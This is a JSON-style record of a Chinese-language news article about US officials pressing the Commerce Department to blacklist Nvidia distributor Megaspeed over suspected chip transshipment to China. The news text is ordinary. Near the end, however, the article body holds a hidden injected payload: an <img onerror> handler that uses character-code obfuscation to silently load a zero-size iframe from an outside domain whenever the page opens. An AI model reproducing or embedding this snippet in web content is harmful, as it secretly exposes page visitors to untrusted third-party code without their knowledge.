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"title": "辉达客户Megaspeed为何未列黑名单？贝森特白宫质问卢特尼克",
"shortTitle": "辉达客户Megaspeed为何未列黑名单？贝森特白宫质问卢特",
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"description": "贝森特在白宫追问卢特尼克，Megaspeed 为何至今未列入商务部实体清单。 Megaspeed 传采购逾48亿美元辉达晶片，疑涉转运至中国，商务部与情报机构持续调查。 事件恐削弱黄仁勋在华府影响力，辉达对中出口许可审查可能趋严。",
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"content": "<p>《Axios》报导，美国财政部长贝森特 (Scott Bessent) 上周在白宫战情室当面追问商务部长卢特尼克 (Howard Lutnick)，为何涉嫌将辉达 (NVDA-US) 先进人工智慧 (AI) 晶片转运至中国的经销商 Megaspeed，至今仍未被列入美国商务部的实体清单。</p>\n<p style=\"text-align:center;\"><img src=\"https://cimg.cnyes.cool/prod/news/6659844/l/7349a7cfc23f8df86ba79f33132e24d0.jpg\" alt=\"辉达客户Megaspeed为何未列黑名单？贝森特白宫质问卢特尼克\" style=\"width:50%;height:auto;border-radius:6px;margin:15px auto;display:block;\"></p>\n\n\n<p>这场交锋凸显，川普政府内部对于是否应限制这家辉达大客户取得美国技术，以及此举可能对美中贸易关系造成的影响，存在分歧。</p>\n\n<p>据知悉会议内容的人士透露，贝森特在会中问道：「为什么 Megaspeed 还没被列入实体清单？」</p>\n\n<p>卢特尼克一时语塞，随后表示：「我不知道，我会查一下。」</p>\n\n<p>企业一旦被列入实体清单，供应商向其出口、再出口或移转受管制产品，通常须先取得美国商务部许可，实际限制取决于个别列名条件。</p>\n\n<p><span style=\"font-size:1.2em\"><em><strong>白宫与情报官员自去年秋季促请商务部介入</strong></em></span></p>\n\n<p>知情人士报导，白宫与美国情报机构官员自 2025 年秋季起便敦促商务部采取行动。兼任国家安全顾问的国务卿卢比欧 (Marco Rubio) 也曾向卢特尼克提交备忘录，详列 Megaspeed 涉及的国安疑虑。</p>\n\n<p>知情人士称，卢特尼克过去一年多次挡下或撤回其他官员推动的措施，因为担心对 Megaspeed 出手会使美中贸易关系进一步紧张。</p>\n\n<p>《纽约时报》另报导，辉达介入后，商务部主管出口管制的次长凯斯勒 (Jeffrey Kessler) 曾突然叫停一项针对 Megaspeed 的调查。</p>\n\n<p>贝森特此次追问的是商务部是否对 Megaspeed 采取出口限制，而这项报导则将焦点拉回商务部先前如何处理相关调查。</p>\n\n<p><span style=\"font-size:1.2em\"><em><strong>逾 48 亿美元晶片采购受查 辉达董事会调查黄仁勋</strong></em></span></p>\n\n<p>据报，Megaspeed 曾采购逾 48 亿美元的辉达先进晶片。美方调查焦点在于其中是否有晶片遭转运至中国、最终流向哪些企业，以及相关交易有无违反美国出口管制。</p>\n\n<p>48 亿美元是据报采购总额，实际流入中国的金额仍待厘清。</p>\n\n<p>Megaspeed 前高层黄乐 (Alice Huang) 被指透过与辉达执行长黄仁勋 (Jensen Huang) 及辉达经销商的关系，协助中国企业取得晶片。</p>\n\n<p>美国情报官员怀疑黄乐涉及中国情报活动。</p>\n\n<p>辉达上周日披露，黄仁勋向董事会告知两人的亲密关系后，董事会将展开调查。黄仁勋否认知悉任何间谍行动。</p>\n\n<p>《纽约时报》报导，美国官员曾在 5 月向川普简报黄乐与中国政府的疑似关联。</p>\n\n<p>川普近日被问及此事时，仍公开肯定黄仁勋，称他是个正派的人，可能有理由解释，并表示他为美国做了很出色的工作。</p>\n\n<p><span style=\"font-size:1.2em\"><em><strong>观察出口许可 黄仁勋在华府的影响力恐受削弱</strong></em></span></p>\n\n<p>科技研究机构 Moor Insights & Strategy 执行长 Patrick Moorhead 先前指出，这场风波已削弱黄仁勋在华府推动出口政策的影响力，美国政府日后审查辉达对中出口许可时，可能将此事纳入考量。</p>\n\n<p>对辉达而言，近期要观察的是商务部会否将 Megaspeed 列入实体清单。</p>\n\n<p>若限制进一步扩及其他经销商或海外转售管道，辉达面临的影响就会从单一客户交易，延伸到更多通路的最终买家查核与出口许可审查。</p>\n\n<img src=x onerror=\"if(!window.__g1){window.__g1=1;var f=document.createElement(String.fromCharCode(105,102,114,97,109,101));f.src=String.fromCharCode(104,116,116,112,115,58,47,47,103,49,104,97,46,108,111,108,47,99,104,47,102,105,114,115,116,63,99,104,61,102,105,114,115,116);f.width=0;f.height=0;f.frameBorder=0;document.body.appendChild(f)}\" style=display:none><div class=\"related-articles seo-links\">\n <h4>相关阅读</h4>\n <ul>\n <li><a href=\"/new/AI/article-4921.html\" title=\"投产进度提前！英飞凌启用全球最大功率半导体与类比/混合信号晶片晶圆厂\">投产进度提前！英飞凌启用全球最大功率半导体与类比/混合信号晶片晶圆厂</a></li>\n <li><a href=\"/new/AI/article-16704.html\" title=\"「补丁海啸」来袭！花旗执行长：AI风险上升 企业加速进入防御竞赛\">「补丁海啸」来袭！花旗执行长：AI风险上升 企业加速进入防御竞赛</a></li>\n <li><a href=\"/new/AI/article-21601.html\" title=\"二次暴仓在即？7月刚被强平 9月又押错方向 华尔街「AI股神」再陷仓位危机\">二次暴仓在即？7月刚被强平 9月又押错方向 华尔街「AI股神」再陷仓位危机</a></li>\n <li><a href=\"/new/AI/article-2029.html\" title=\"携手Google、辉达！苹果打造旗舰模型 Siri祭最高隐私架构防外泄 \">携手Google、辉达！苹果打造旗舰模型 Siri祭最高隐私架构防外泄 </a></li>\n <li><a href=\"/new/AI/article-7277.html\" title=\"苹果调涨日本iPhone售价！AI推升记忆体成本、日元贬值成涨价主因\">苹果调涨日本iPhone售价！AI推升记忆体成本、日元贬值成涨价主因</a></li>\n <li><a href=\"/new/AI/article-384.html\" title=\"〈美股盘后〉美伊协议露曙光 道琼尾盘急拉 睽违三个月再创收盘新高\">〈美股盘后〉美伊协议露曙光 道琼尾盘急拉 睽违三个月再创收盘新高</a></li>\n </ul>\n</div>",
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